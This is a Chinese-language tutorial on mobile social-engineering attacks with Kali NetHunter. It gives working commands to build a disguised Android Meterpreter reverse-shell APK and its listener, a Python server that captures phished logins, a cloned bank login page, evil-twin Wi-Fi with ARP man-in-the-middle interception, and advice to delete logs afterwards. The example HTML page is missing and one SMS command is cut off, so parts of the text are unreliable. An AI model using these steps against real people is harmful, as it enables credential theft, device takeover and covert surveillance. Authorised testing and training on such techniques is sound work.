引言:Kali Linux NetHunter 与社会工程学测试概述
Kali Linux NetHunter 是 Kali Linux 的一个开源 Android 渗透测试平台,专为移动设备设计,由 Offensive Security 维护。它将 Kali Linux 的强大工具集移植到 Android 系统上,允许安全专业人员和渗透测试员在智能手机或平板电脑上执行高级安全测试。NetHunter 支持多种设备,包括 Nexus、Pixel 和 OnePlus 等,通过自定义 ROM 或 Magisk 模块安装,提供完整的 Kali 环境访问权限。
社会工程学(Social Engineering)是渗透测试中一个关键领域,它利用人类心理弱点而非技术漏洞来获取敏感信息或访问权限。在移动设备上进行社会工程学测试特别高效,因为移动设备已成为人们日常生活中不可或缺的一部分,攻击者可以利用短信、社交媒体、Wi-Fi 等渠道进行钓鱼、欺骗或操纵。根据 Verizon 的 2023 年数据泄露调查报告,82% 的网络攻击涉及人为因素,这突显了社会工程学测试的重要性。
本指南将详细指导如何使用 Kali Linux NetHunter 在移动设备上进行高效的社会工程学渗透测试。我们将涵盖环境设置、工具使用、实战场景和最佳实践,确保内容客观、准确,并提供完整的代码示例和步骤说明。请注意,所有内容仅用于合法的渗透测试和教育目的,未经授权的测试是非法的。
1. Kali Linux NetHunter 的安装与配置
1.1 设备兼容性与前提条件
NetHunter 需要兼容的 Android 设备(通常 Android 5.0+,推荐 Android 10+)和 root 权限。常见支持设备包括 Google Pixel 系列、OnePlus 等。检查兼容性:访问 NetHunter 官方网站(
https://www.kali.org/get-kali/#kali-mobile),搜索你的设备型号。
前提条件:
一台兼容的 Android 设备。
解锁 Bootloader(这会擦除数据)。
安装自定义恢复(如 TWRP)。
下载 NetHunter ROM 或使用 Magisk 模块。
1.2 安装步骤
备份数据
:安装过程会擦除设备,确保备份所有重要文件。
解锁 Bootloader
:
启用开发者选项(设置 > 关于手机 > 连续点击构建号 7 次)。
启用 OEM 解锁和 USB 调试。
连接电脑,使用 ADB 命令解锁:
adb reboot bootloader
fastboot oem unlock
确认后,设备将重启并擦除数据。
安装 TWRP 恢复
:
下载 TWRP 镜像(从 twrp.me)。
在 bootloader 模式下刷入:
fastboot flash recovery twrp.img
fastboot reboot recovery
刷入 NetHunter ROM
:
从 NetHunter 网站下载对应设备的 NetHunter 包(例如,NetHunter-2023.2-pixel.zip)。
在 TWRP 中,选择“安装” > 选择 ZIP 文件 > 滑动确认刷入。
刷入后,重启系统。
使用 Magisk 安装(推荐新手)
:
如果不想刷 ROM,先安装 Magisk(
https://magiskmanager.com)。
下载 NetHunter Magisk 模块(从 NetHunter 论坛)。
在 Magisk Manager 中安装模块,重启。
初始配置
:
首次启动后,打开 NetHunter App。
更新软件包:运行
apt update && apt upgrade
在 NetHunter 终端。
安装额外工具:
apt install metasploit-framework
等。
1.3 常见问题与故障排除
Bootloop
:重新刷入 ROM 或恢复出厂设置。
Wi-Fi 支持
:NetHunter 需要 OTG 适配器和兼容的无线网卡(如 Alfa AWUS036NH)。
权限问题
:确保 root 权限已授予,使用 SuperSU 或 Magisk。
安装完成后,你的 Android 设备就变成了一个便携式渗透测试工作站。
2. 社会工程学测试基础
2.1 社会工程学的原理
社会工程学基于 Cialdini 的说服原则:权威、互惠、稀缺性等。在移动测试中,常见方法包括:
钓鱼(Phishing)
:发送伪造的短信或邮件诱导点击链接。
预钓(Pretexting)
:编造虚假场景获取信息。
尾随(Tailgating)
:物理访问,但移动设备更侧重数字。
2.2 法律与道德考虑
仅在获得书面授权的范围内测试。
记录所有活动,避免对生产环境造成影响。
遵守 OWASP 测试指南和本地法律(如 GDPR 或 CFAA)。
2.3 移动设备的优势
便携性
:随时随地测试。
隐蔽性
:手机看起来无害。
集成性
:结合 SMS、蓝牙、Wi-Fi 等。
3. NetHunter 中的核心社会工程学工具
NetHunter 预装或易于安装以下工具,专注于移动渗透。
3.1 Social-Engineer Toolkit (SET)
SET 是 Kali 中最强大的社会工程学框架,支持创建钓鱼页面、恶意负载等。
安装与启动
:
apt install set
setoolkit
示例:创建 SMS 钓鱼攻击
启动 SET:
setoolkit
选择选项 1(Social-Engineering Attacks)。
选择 2(Spear-Phishing Attack)。
配置攻击:
输入目标手机号(测试用)。
选择 payload:例如,Android Meterpreter 反向 TCP。
SET 会生成一个恶意链接或 APK。
代码示例:生成 Meterpreter Payload
在 NetHunter 终端运行:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<你的 NetHunter IP> LPORT=4444 -o malicious.apk
LHOST
:你的设备 IP(使用
ifconfig
检查)。
LPORT
:监听端口。
然后,使用 SET 将此 APK 伪装成合法应用发送给目标。
3.2 Metasploit Framework
Metasploit 用于开发和执行漏洞利用,结合社会工程学。
启动
:
msfconsole
示例:设置监听器
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.1.100 # 替换为你的 NetHunter IP
set LPORT 4444
exploit
当目标安装恶意 APK 并运行时,你会获得 Meterpreter 会话,可以访问摄像头、GPS 等。
3.3 其他工具
BeEF (Browser Exploitation Framework)
:钩住浏览器,用于钓鱼页面。安装:
apt install beef-xss
。启动:
beef-xss
,访问
http://localhost:3000/ui/panel。
Wireshark/Tcpdump
:捕获网络流量,分析受害者数据。示例:
tcpdump -i wlan0 -w capture.pcap
。
Nmap
:扫描网络,识别目标。
nmap -sV 192.168.1.0/24
。
4. 实战场景:利用移动设备进行高效渗透测试
4.1 场景 1:SMS 钓鱼(Smishing)攻击
目标
:诱导目标点击恶意链接,安装恶意软件。
步骤
:
准备钓鱼页面
:使用 SET 创建一个伪造的银行登录页面。
在 SET 中选择 1 > 3(Website Attack Vectors) > 2(Site Cloner)。
输入目标 URL(如
https://yourbank.com),SET
会克隆并注入 payload。
发送 SMS
:使用 Android 的 SMS 功能或工具如
smsploit
(安装:
pip install smsploit
)。
示例命令(需 root):
smsploit -t
链接指向你的 NetHunter 服务器(使用 Python 简单服务器:
python3 -m http.server 80
)。
监听与捕获
:
启动 Metasploit 监听器(如上所述)。
一旦目标访问,捕获凭据或安装 APK。
完整代码示例:Python 钓鱼服务器
在 NetHunter 中创建
phish.html
:
然后运行服务器:
from http.server import SimpleHTTPRequestHandler, HTTPServer
import urllib.parse
class PhishHandler(SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers[‘Content-Length’])
post_data = self.rfile.read(content_length).decode(‘utf-8’)
params = urllib.parse.parse_qs(post_data)
print(f”Captured: User={params.get(‘user’)[0]}, Pass={params.get(‘pass’)[0]}”)
self.send_response(200)
self.end_headers()
self.wfile.write(b”Login Successful”)
server = HTTPServer((‘0.0.0.0’, 80), PhishHandler)
print(“Server running on port 80”)
server.serve_forever()
运行:
python3 phish_server.py
。目标输入凭据后,你会在终端看到捕获。
预期结果
:获得目标凭据,进一步访问账户。
4.2 场景 2:Wi-Fi 诱饵与 Evil Twin 攻击
利用 NetHunter 的 Wi-Fi 监控模式,创建假热点诱导连接,然后进行中间人(MITM)攻击。
步骤
:
设置监控模式
:需要兼容网卡。
插入 OTG 和网卡。
启动 monitor 模式:
airmon-ng start wlan0
创建 Evil Twin
:使用
airbase-ng
。
airbase-ng -e “Free WiFi” -c 6 wlan0mon
这会创建一个假热点。
设置 DHCP 和路由
:
配置
dnsmasq
(安装:
apt install dnsmasq
)。
编辑
/etc/dnsmasq.conf
:
interface=at0
dhcp-range=192.168.1.100,192.168.1.200,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
启动:
dnsmasq -C /etc/dnsmasq.conf
MITM 攻击
:使用 Ettercap 或 BetterCAP。
apt install ettercap-graphical
ettercap -T -i at0 -M arp:remote // //
这会拦截流量,捕获 HTTP 凭据。
社会工程学元素
:广播 SSID 为“Starbucks Free WiFi”,发送 SMS 通知“连接免费 WiFi 赚取积分”。
预期结果
:受害者连接后,所有流量被监控,捕获敏感数据如登录会话。
4.3 场景 3:蓝牙社会工程学
NetHunter 支持蓝牙工具如
bluetoothctl
和
spoofer
。
步骤
:
扫描蓝牙设备:
bluetoothctl
>
scan on
。
伪造设备:使用
bluespoof
(安装自 GitHub)。
git clone https://github.com/0x90/bluespoof
cd bluespoof && python3 bluespoof.py
选择目标,伪造为“Headphones”。
诱导配对:发送通知或物理接近。
一旦配对,使用
gatttool
访问设备服务,注入 payload。
代码示例:蓝牙扫描脚本
import bluetooth
target_address = “XX:XX:XX:XX:XX:XX” # 替换为目标
nearby_devices = bluetooth.discover_devices(duration=4, lookup_names=True)
for addr, name in nearby_devices:
if addr == target_address:
print(f”Found {name} at {addr}”)
# 进一步服务发现
services = bluetooth.find_service(address=addr)
for svc in services:
print(f”Service: {svc[‘name’]} on port {svc[‘port’]}”)
运行:
python3 scan_bluetooth.py
。这可用于识别并接近目标设备。
5. 高效渗透测试的最佳实践
5.1 规划与侦察
使用
recon-ng
(
apt install recon-ng
)收集目标信息:
recon-ng -r
。
结合 OSINT(开源情报):搜索社交媒体、LinkedIn。
5.2 执行与自动化
编写脚本自动化重复任务,例如使用 Python 的
subprocess
调用 Metasploit。
示例脚本:
import subprocess
subprocess.run([“msfconsole”, “-q”, “-x”, “use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit; exit”])
使用 NetHunter 的 Tasker 集成,自动化 SMS 发送。
5.3 报告与清理
记录所有输出:使用
script
命令捕获终端会话。
script -a test_log.txt
# 执行命令
exit
清理痕迹:删除日志、停止服务(
killall python3
)。
生成报告:使用 Dradis 或手动总结,包括影响、缓解建议。
5.4 风险缓解
测试前隔离网络,使用 VPN 或虚拟机。
监控设备电池和热量,避免过载。
如果失败,检查防火墙或 SELinux(NetHunter 默认禁用)。
6. 结论
Kali Linux NetHunter 将社会工程学测试提升到移动级别,使渗透测试更灵活和高效。通过 SET、Metasploit 等工具,结合 SMS、Wi-Fi 和蓝牙攻击,你可以模拟真实威胁。记住,成功的关键在于准备、道德和持续学习。参考官方文档和 Kali 论坛获取更新。如果你是初学者,从虚拟环境开始练习。安全第一,合法测试!